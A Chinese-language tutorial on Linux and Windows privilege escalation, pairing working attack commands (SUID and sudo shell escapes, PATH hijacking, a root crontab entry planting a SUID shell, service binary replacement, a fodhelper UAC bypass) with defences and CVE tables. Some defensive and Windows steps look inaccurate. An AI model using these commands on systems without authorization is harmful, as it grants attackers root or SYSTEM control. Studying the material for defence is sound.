提权(Privilege Escalation)是指攻击者通过系统漏洞、错误配置、权限继承等方式,提升自身权限,以执行更高级别的操作。这里分别介绍 Linux 和 Windows 提权方法,并分析其原理、攻击方式以及防御手段。
🔹 Linux 提权手法
Linux 提权的主要方式包括:
- SUID 提权
- Sudo 提权
- 环境变量(PATH 劫持)
- 内核漏洞
- Cron Job(计划任务)
- NFS 提权
- Docker / LXC 提权
- SSH 密钥滥用
- 配置错误
1️⃣ SUID 提权
🔹 原理
- Linux 的 SUID(Set User ID) 允许普通用户执行文件所有者权限的可执行文件。
- 如果SUID 程序存在漏洞,攻击者可以利用它执行 shell 并继承 root 权限。
🔹 查找 SUID 程序
find / -perm -4000 -type f 2>/dev/null
常见 SUID 程序:
/usr/bin/passwd
/usr/bin/find
/usr/bin/nmap
/usr/bin/python
🔹 提权示例
find . -exec /bin/sh -p \; -quit
nmap --interactive
!sh
🔹 防御
✅ 移除不必要的 SUID:
chmod -s /usr/bin/find
✅ 使用 nosuid
挂载:
mount -o remount,nosuid /
2️⃣ Sudo 提权
🔹 原理
sudo
允许普通用户以 root 身份执行特定命令。- 如果
sudoers
配置不当(如NOPASSWD:ALL
),攻击者可以执行 root shell。
🔹 查找 sudo 权限
sudo -l
如果允许 vim
以 root 运行:
sudo vim -c '!sh'
🔹 防御
✅ 禁止 sudo
运行交互式程序:
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
3️⃣ PATH 劫持
🔹 原理
- 如果
sudo
执行的命令未指定绝对路径,攻击者可创建伪造二进制进行劫持。
🔹 提权示例
假设 /usr/local/bin/backup.sh
运行:
tar -czf backup.tar /home/user/
攻击者可伪造 tar
:
echo "/bin/bash" > tar
chmod +x tar
export PATH=.:$PATH
sudo /usr/local/bin/backup.sh
🔹 防御
✅ 使用绝对路径
/usr/bin/tar -czf backup.tar /home/user/
4️⃣ 内核漏洞提权
🔹 原理
- Linux 内核如果存在权限提升漏洞,攻击者可直接获取 root。
🔹 经典漏洞
漏洞名称 | 影响版本 | 漏洞编号 |
---|---|---|
Dirty COW | Linux Kernel < 4.8 | CVE-2016-5195 |
PwnKit | Polkit (所有版本) | CVE-2021-4034 |
OverlayFS | Ubuntu Kernel | CVE-2021-3493 |
🔹 防御
✅ 定期更新系统
apt update && apt upgrade -y
5️⃣ Cron Job 提权
🔹 原理
- Linux 计划任务(
cron
)如果以 root 运行,并且普通用户可以修改其脚本,则可劫持执行恶意代码。
🔹 提权示例
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" > /var/spool/cron/root
然后等待 cron
执行 /tmp/rootbash
提权。
🔹 防御
✅ 确保 cron
任务不可写
chmod 600 /etc/crontab
🔹 Windows 提权手法
Windows 提权的主要方式包括:
- 系统漏洞提权
- 服务配置错误
- 权限错误
- 注册表劫持
- UAC 绕过
- DLL 劫持
- 凭据窃取
1️⃣ Windows 系统漏洞提权
🔹 经典漏洞
漏洞名称 | 影响系统 | 漏洞编号 |
---|---|---|
PrintNightmare | Windows Server | CVE-2021-1675 |
LPE Bug | Windows 10 | CVE-2021-1732 |
Token Manipulation | Windows 7/10 | No CVE |
🔹 提权工具
- Windows Exploit Suggester
windows-exploit-suggester.py --database exploitdb.csv --systeminfo systeminfo.txt
🔹 防御
✅ 及时打补丁
wuauclt /detectnow /updatenow
2️⃣ Windows 服务提权
🔹 原理
- Windows 服务如果以 SYSTEM 运行且用户可修改可执行文件路径,则可替换文件进行提权。
🔹 查找可修改服务
sc qc <服务名>
icacls "C:\Program Files\SomeService\service.exe"
🔹 提权
echo C:\Windows\System32\cmd.exe > "C:\Program Files\SomeService\service.exe"
然后重启服务获取 SYSTEM 权限。
🔹 防御
✅ 限制服务目录权限
icacls "C:\Program Files\SomeService" /deny Users:(WD)
3️⃣ Windows UAC 绕过
🔹 原理
- Windows UAC 允许部分系统程序以高权限运行,攻击者可劫持这些程序。
🔹 经典 UAC 绕过方法
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\Windows\System32\cmd.exe"
fodhelper.exe
🔹 防御
✅ 启用 UAC 最高安全级别
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 2
总结
操作系统 | 提权方式 | 攻击方式 | 防御措施 |
---|---|---|---|
Linux | SUID 提权 | find . -exec /bin/sh -p \; | 移除不必要的 SUID |
Linux | Sudo 提权 | sudo vim -> :!sh | 限制 sudo 配置 |
Linux | PATH 劫持 | export PATH=.:$PATH | 使用绝对路径 |
Windows | 系统漏洞 | CVE-2021-1675 | 及时更新补丁 |
Windows | UAC 绕过 | fodhelper.exe 劫持 | 启用最高 UAC |
Windows | DLL 劫持 | C:\Program Files\some.dll | 限制 DLL 目录权限 |
✅ 总结:Linux 主要依赖 SUID、sudo、PATH 劫持和内核漏洞;Windows 主要依赖服务配置错误、UAC 绕过和系统漏洞。防御方式主要是最小权限原则、及时打补丁、限制文件可写权限。